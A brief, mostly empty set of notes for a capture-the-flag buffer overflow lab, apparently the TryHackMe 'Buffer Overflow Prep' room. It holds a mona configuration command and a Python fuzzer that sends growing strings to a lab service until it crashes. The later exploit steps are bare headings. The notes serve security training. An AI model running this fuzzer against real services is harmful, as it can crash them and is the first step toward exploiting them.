BOF - Tib3rius
Trib3rius: https://tryhackme.com/room/bufferoverflowprep
1- Mona Configuration
!mona config -set workingfolder c:\mona\%p2- Fuzzing
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.202.33"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)

3- Crash Replication & Controlling EIP


4- Finding Bad Characters





5- Finding a Jump Point

6- Generate Payload
7- Prepend NOPs
8- Exploit

Last updated